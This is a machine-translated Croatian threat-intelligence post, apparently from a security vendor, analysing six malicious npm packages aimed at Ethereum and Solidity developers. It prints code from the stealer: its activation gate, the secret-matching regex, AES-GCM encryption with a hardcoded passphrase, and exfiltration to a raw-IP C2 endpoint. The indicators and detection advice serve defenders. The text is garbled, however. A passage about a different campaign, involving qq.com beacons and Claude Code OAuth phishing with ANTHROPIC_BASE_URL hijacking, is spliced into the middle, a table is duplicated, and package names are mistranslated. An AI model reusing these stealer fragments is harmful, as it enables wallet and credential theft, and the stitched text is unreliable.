TL; DR
6. svibnja 2026., jedan npm izdavač, namikazesarada010206, lansirao je šest zlonamjernih paketa usmjerenih na ekosustav razvojnih programera Ethereuma, Solidityja i DeFi-ja.
Paketi, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsi web3-utils-core, koristili su uvjerljiva imena osmišljena da izgledaju kao pomoćne biblioteke za popularne Web3 alate.
Svih šest paketa sadržavalo je isto telemetry.js datoteka. Datoteka je bila identična po bajtovima u cijelom klasteru, s SHA-256:
Zlonamjerni softver se ne izvršava prilikom instalacije. Nema preinstall or postinstall kuka. Umjesto toga, aktivira se kada se paket uvozi putem require().
Taj detalj je važan.
Implantat čeka dok programer zapravo ne upotrijebi paket. Zatim provjerava izgleda li radna stanica kao pravo razvojno okruženje za Ethereum / Solidity. Traži Alchemy ili Infura ključeve, privatne ključeve, mnemonike, deployer ključeve ili lokalni Foundry direktorij.
Ako se host podudara, kradljivac prikuplja SSH privatne ključeve, spremišta ključeva Foundry / Geth / Brownie novčanika, .env* datoteke i osjetljive varijable okruženja. Šifrira paket s AES-256-GCM-om koristeći čvrsto kodiranu lozinku i izvlači ga na sirovu IPv4 C2 krajnju točku s onemogućenom TLS provjerom.
Xygenijev sustav za rano upozoravanje na zlonamjerni softver (MEW) potvrdio je da je svih šest paketa zlonamjerno. Izvješće o uklanjanju iz registra npm-a je na čekanju.
Klaster: Šest paketa, jedan izdavač
Račun izdavača namikazesarada010206 bio je povezan s neprovjerenom Gmail adresom namikazesarada010206@gmail.com.
Kampanja se pojavila kao jednodnevni nalet publikacija 6. svibnja 2026. Svih šest paketa verzionirano je kao 1.0.0, nije imao nikakvih ovisnosti tijekom izvođenja i isporučio je samo tri datoteke:
package.json index.js telemetry.js Također su deklarirali isto izvorno spremište:
https://github.com/harunosakura030303-maker/evmchain-config Prva tri paketa su otkrivena MEW skenerima pri prvoj objavi. Preostala tri su prisilno označena nakon što su analitičari pregledali npm profil izdavača. Nakon što su isti bajtno identični telemetry.js potvrđeno je u cijelom klasteru, zatvoreni su kao zlonamjerni zbog konzistentnosti.
| Paket | Verzija | Objavljeno u npm-u | Ulaznica za MEW | Presuda |
|---|---|---|---|---|
| viem-core | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | Zlonamjeran |
| viem-utils-core | 1.0.0 | 2026-05-06 | #51050 | Zlonamjeran |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | #51051 | Zlonamjeran |
| evm-utils | 1.0.0 | 2026-05-06 | #51069 | Zlonamjerno, po dosljednosti |
| ljevaonički alati | 1.0.0 | 2026-05-06 | #51071 | Zlonamjerno, po dosljednosti |
| web3-utils-core | 1.0.0 | 2026-05-06 | #51070 | Zlonamjerno, po dosljednosti |
Strategija imenovanja je jednostavna, ali učinkovita.
Ovi paketi ne oponašaju točna imena uzvodnih programa. Umjesto toga koriste uvjerljive sufikse "uslužnih programa" kao što su -core, -utilsi -utils-coreZbog toga izgledaju kao prateće biblioteke koje bi programer očekivao vidjeti blizu Web3 alata.
| Zlonamjerni paket | Legitimna meta |
|---|---|
| viem-core | viem, popularni Ethereum TypeScript klijent |
| viem-utils-core | Viem |
| hardhat-core-utils | zaštitna privjesnica, uobičajeno Solidity razvojno okruženje |
| evm-utils | Generički EVM imenski prostor alata |
| ljevaonički alati | ljevaonica, Solidityjev alatni lanac |
| web3-utils-core | web3-utils, Web3.js pomoćnici |
Ovo je obrazac „dodatnog paketa“: ne „Ja sam pravi paket“, već „Izgledam kao razuman pomagač oko pravog paketa“.
Za DeFi developere koji se brzo kreću, to je dovoljno da stvori rizik.
Što se događa kada se paket uveze
Lanac napada je mali, namjeran i usmjeren na kripto-razvojna okruženja.
Nema kuke za instalaciju. Umjesto toga, svaki paket uključuje index.js koji izvozi funkcionalnost stuba, a zatim učitava zlonamjerni telemetrijski modul.
require('./telemetry').init(); To znači da se zlonamjerni softver aktivira pri prvom uvozu.
To je operativno korisno za napadača. Mnogi skeneri i sandboxovi fokusiraju se na ponašanje tijekom instalacije. Ovaj paket čeka dok ga programer, skripta za izgradnju, testni paket ili runtime put zapravo ne upotrijebi.
Aktivacijska vrata: Aktiviraju se samo na pravim radnim stanicama Web3 programera
Najvažniji dio implantata su aktivacijska vrata.
Zlonamjerni softver provjerava varijable okruženja koje se obično nalaze na računalima programera Ethereuma / Solidityja:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Također provjerava je li Foundry instaliran:
fs.existsSync(path.join(os.homedir(), '.foundry')) Ako nijedan uvjet nije istinit, funkcija vraća vrijednost i ne radi ništa.
To čini paket tišim u generičkim analitičkim okruženjima. Pješčanik bez Foundryja, Alchemy ključeva, Infura ključeva, privatnih ključeva ili mnemonika može izgledati bezopasno.
Na odgovarajućem hostu, zlonamjerni softver čeka 60 do 90 sekundi prije prikupljanja:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Kašnjenje smanjuje očitu korelaciju između uvoza i iznošenja. .unref() poziv također omogućuje host procesu normalan izlaz ako je paket uvezen u kratkotrajnoj skripti.
Ovo nije bučno ponašanje "smash-and-grab". To je ciljani kradljivac osmišljen da izbjegne pokretanje osim ako se razvojno okruženje ne isplati ukrasti.
Što kradljivac skuplja
Nakon što prođe aktivacijski krug, zlonamjerni softver prikuplja podatke iz izvora koji su najvažniji u Web3 razvoju: privatnih ključeva, spremišta ključeva novčanika, vjerodajnica za implementaciju, tajnih podataka u oblaku, npm tokena i konfiguracije lokalnog projekta.
| izvor | Što se prikuplja |
|---|---|
| process.env | Bilo koja varijabla koja odgovara /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Datoteke koje sadrže PRIVATE KEY ili BEGIN OPENSSH, uključujući puni sadržaj datoteke |
| ~/.foundry/keystore/* | Datoteke pohrane ključeva Foundry novčanika |
| ~/.ethereum/skladište ključeva/* | Datoteke pohrane ključeva Geth novčanika |
| ~/.brownie/računi/* | Datoteke pohrane ključeva Brownie novčanika |
| ${cwd}/.env | Puni sadržaj datoteke |
| ${cwd}/.env.local | Puni sadržaj datoteke |
| ${cwd}/.env.production | Puni sadržaj datoteke |
| ${cwd}/.env.development | Puni sadržaj datoteke |
| os.naziv_host() | Metapodaci hosta |
| kripto.randomUUID() | Identifikator žrtve/sesije |
| Datum.sada() | Vremenska oznaka prikupljanja |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA tokeni su:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Nismo uspjeli potvrditi je li telemetrija bila vlastita analitika operatera ili zasebno monetizirani kanal. ATTA tokeni su isti u oba uzorka koja smo ispitali.
Skupina B: heibai
claude.hk OAuth Phishing + Otmica ANTHROPIC_BASE_URL-a
Uzorak od 1. travnja je grublji, raniji dio kampanje.
heibai:2.1.88-claude.hk-4 objavio je wuguoqiangvip28, račun kreiran 7. lipnja 2025. Paket se eksplicitno verzionirao protiv legitimne 2.1.88 Antropno oslobađanje.
Ne zamara se CA-cert MITM-om. Umjesto toga, laže korisniku o OAuth krajnjoj točki.
Zlonamjerni dodaci uz procurili izvorni kod Claude Code uključuju:
| izvor | Što se prikuplja |
|---|---|
| process.env | Bilo koja varijabla koja odgovara /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Datoteke koje sadrže PRIVATE KEY ili BEGIN OPENSSH, uključujući puni sadržaj datoteke |
| ~/.foundry/keystore/* | Datoteke pohrane ključeva Foundry novčanika |
| ~/.ethereum/skladište ključeva/* | Datoteke pohrane ključeva Geth novčanika |
| ~/.brownie/računi/* | Datoteke pohrane ključeva Brownie novčanika |
| ${cwd}/.env | Puni sadržaj datoteke |
| ${cwd}/.env.local | Puni sadržaj datoteke |
| ${cwd}/.env.production | Puni sadržaj datoteke |
| ${cwd}/.env.development | Puni sadržaj datoteke |
| os.naziv_host() | Metapodaci hosta |
| kripto.randomUUID() | Identifikator žrtve/sesije |
| Datum.sada() | Vremenska oznaka prikupljanja |
Popis ciljeva je vrlo specifičan. Ovo nije generička krađa preglednika ili široko korištenje podataka s vjerodajnica. Namijenjen je programerima koji grade, testiraju, implementiraju ili upravljaju Ethereum aplikacijama.
Uključivanje Foundry, Geth i Brownie spremišta ključeva posebno je važno. Ove datoteke mogu predstavljati izravan pristup novčanicima ili identitetima implementacije. Ako ih napadač može upariti s lozinkama, mnemonicima ili tajnama okruženja, mogao bi premjestiti sredstva, lažno se predstavljati kao implementatori ili ugroziti operacije pametnih ugovora.
Šifriranje prije eksfiltracije
Zlonamjerni softver šifrira prikupljene podatke prije slanja.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Tvrđeno kodirana lozinka je:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Konačni korisni teret je zamotan kao JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Šifriranje samo po sebi ne čini zlonamjerni softver naprednijim. Međutim, otežava inspekciju mreže. Branitelj koji prati izlaz vidio bi JSON sadržaj, ali ne i ukradene ključeve, datoteke novčanika ili .env sadržaj bez ugrađene lozinke i logike dešifriranja.
Eksfiltracija na sirovi IPv4 C2
Put izvlačenja je čvrsto kodiran:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Zlonamjerni softver šalje podatke na:
https://76.13.37.80:8443/api/v1/telemetry Dva detalja se ističu.
Prvo, C2 je sirova IPv4 adresa, a ne domena. To uklanja potrebu za registracijom domene i izbjegava neke detekcije temeljene na domeni.
Drugo, TLS provjera je onemogućena sa:
rejectUnauthorized: false To omogućuje zlonamjernom softveru prihvaćanje bilo kojeg certifikata, uključujući samopotpisane certifikate. Drugim riječima, napadač dobiva šifrirani prijenos bez potrebe za valjanim javnim certifikatom.
Nema logike ponovnog pokušaja niti rezervnog hosta. Greške se tiho gutaju. To drži paket tihim ako je C2 izvan mreže ili nedostupan.
Zašto je ova kampanja važna
Većina zlonamjernih npm paketa usmjerenih na programere juri za širokim pristupnim podacima: npm tokenima, AWS ključevima, GitHub tokenima ili .npmrc slika.
Ova kampanja sužava cilj.
Traži znakove da stroj pripada Ethereum ili Solidity programeru. Zatim izvlači upravo onu imovinu koja je važna u tom okruženju: spremišta ključeva novčanika, privatne ključeve, mnemonike, ključeve implementatora, .env datoteke i SSH ključeve.
To čini kampanju opasnijom za Web3 timove nego generički npm kradljivac.
Uspješna infekcija mogla bi otkriti:
- Novčanici za implementaciju
- Administratorski ključevi pametnih ugovora
- Ključevi RPC pružatelja usluga
- Vjerodajnice za implementaciju u oblaku
- npm tokeni za objavljivanje
- SSH pristup razvojnoj ili izgradivoj infrastrukturi
- Tajne projekta pohranjene u
.envslika - Spremišta ključeva novčanika za Foundry, Geth ili Brownie
Nazivi paketa također pokazuju jasan socijalni inženjering. Ciljaju ekosustav Web3 programera putem poznatih naziva alata: viem, hardhat, foundry, evmi web3.
Akter ne mora kompromitirati stvarne projekte. Potreban im je samo programer koji će instalirati ono što izgleda kao razuman prateći paket.
Pokazatelji kompromitiranja i otkrivanja
| Paketi i izdavač | |
|---|---|
| Polje | Još malo brojeva |
| npm izdavač | namikazesarada010206 |
| E-pošta izdavača | namikazesarada010206@gmail.com |
| Email potvrđen | Ne |
| SCM ovjeren | Ne |
| Rezultat reputacije | 1.0 |
| Paketi | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, ljevaonica-utils, web3-utils-core |
| verzije | Svi 1.0.0 |
| Izvorni repozitorij | https://github.com/harunosakura030303-maker/evmchain-config |
| Potvrđeno zlonamjerno | Svih šest paketa |
| mreža | |
|---|---|
| Tip | Još malo brojeva |
| Krajnja točka C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2 priključak | 8443/tcp |
| Ponašanje TLS-a | odbitiNeovlašteno: lažno |
| Shema korisnog tereta | {"v":2,"iv": ,,d": ,"t": } |
| Datoteke i hashevi | |
|---|---|
| Tip | Još malo brojeva |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Izgled paketa | package.json, index.js, telemetry.js |
| Broj datoteka | 3 |
| Približna ukupna veličina | 3.4 KB |
Signali aktivacije
Zlonamjerni softver provjerava ove varijable okruženja:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Također provjerava:
~/.foundry/ Ciljani putevi hosta
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Regex kolekcije
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Bilješke o detekciji
Nekoliko pravila obuhvaća ovu kampanju bez potrebe za potpunom analizom ponašanja.
Prvo, skenirajte lockfiles za šest zlonamjernih naziva paketa:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Bilo koja utakmica u package-lock.json, yarn.lock, pnpm-lock.yaml, ili node_modules povijest treba tretirati kao ozbiljan događaj.
Drugo, pratite Node.js procese koji čitaju putanje spremišta ključeva novčanika:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Ovo je rijetko legitimno ponašanje za paket uvezen kao pomoćna ovisnost. Posebno je sumnjivo kada ga prati odlazna mrežna aktivnost.
Treće, blokirajte ili upozorite na HTTPS veze kako biste:
76.13.37.80:8443 Pogotovo kada je put zahtjeva:
/api/v1/telemetry Četvrto, potražite npm pakete koji kombiniraju ove osobine:
- Novi ili izdavač s niskom reputacijom
- Nepotvrđeni Gmail račun
- Naziv paketa susjednog Web3-u
- Nema smislene povijesti repozitorija
- Raspored malog pakiranja
index.jskoji učitava telemetriju ili pomoćnu datoteku- Nema ovisnosti o vremenu izvođenja
- Osjetljiva kolekcija varijabli okruženja
- Pristup pohrani ključeva novčanika
Ovaj obrazac je korisniji od jednog IOC-a jer sljedeći paket može promijeniti IP adresu, ali zadržati istu logiku ciljanja.
Kontrolna lista za odgovor na kompromis
Ako je programer koristio jedan od šest paketa i njegovo okruženje odgovaralo je aktivacijskim vratima, radnu stanicu treba tretirati kao kompromitiranu.
To uključuje strojeve s instaliranim Foundryjem, Alchemy ili Infura ključevima u okruženju, privatnim ključevima, mnemonicima ili ključevima deployera.
Preporučeni odgovor:
- Isključite host s mreže.
- sačuvati
node_modules, datoteke zaključavanja, povijest ljuske i relevantni zapisnici za forenziku. - Rotirajte svaki SSH par ključeva ispod
~/.ssh/. - Rotirajte ključeve novčanika za svako spremište ključeva ispod
~/.foundry,~/.ethereumi~/.brownie. - Premjestite sredstva u nove novčanike.
- Rotirajte svaku tajnu pohranjenu u
.env*datoteke u repozitorijima u kojima je programer radio. - Rotirajte tajne okruženja koje odgovaraju regularnom izrazu kolekcije, uključujući AWS ključeve, npm tokene, tokene za implementaciju, API ključeve, privatne ključeve, sjemenske vrijednosti i mnemonike.
- Pratite aktivnosti u oblaku, npm-u, GitHubu, RPC pružatelju i blockchainu od prve instalacije paketa.
- Ponovno napravite sliku radne stanice prije ponovne upotrebe.
Što bi branitelji trebali ponijeti sa sobom
Ova kampanja pokazuje kako se npm typosquatting razvija oko ekosustava visokovrijednih programera.
Akteru nije bila potrebna upornost. Nije im trebalo zamagljivanje. Nije im čak trebalo ni izvršavanje za vrijeme instalacije.
Umjesto toga, oslanjali su se na tri stvari:
- Vjerojatni nazivi Web3 paketa
- Aktivacija samo na pravim strojevima za razvoj kriptovaluta
- Izravna krađa datoteka i tajni koje su najvažnije programerima Ethereuma
Zbog toga je kampanju lako propustiti pri širokom skeniranju i opasna je kada se nađe u pravom okruženju.
Za Web3 timove, lekcija je jasna: tretirajte nazive ovisnosti kao dio svog modela prijetnje. Paket koji izgleda kao bezopasni pomagač i dalje može postati najkraći put do kompromitacije novčanika.
Prijavljeno npm registru. Ažurirat ćemo ovu objavu kada se uklone izdavački račun i paketi.




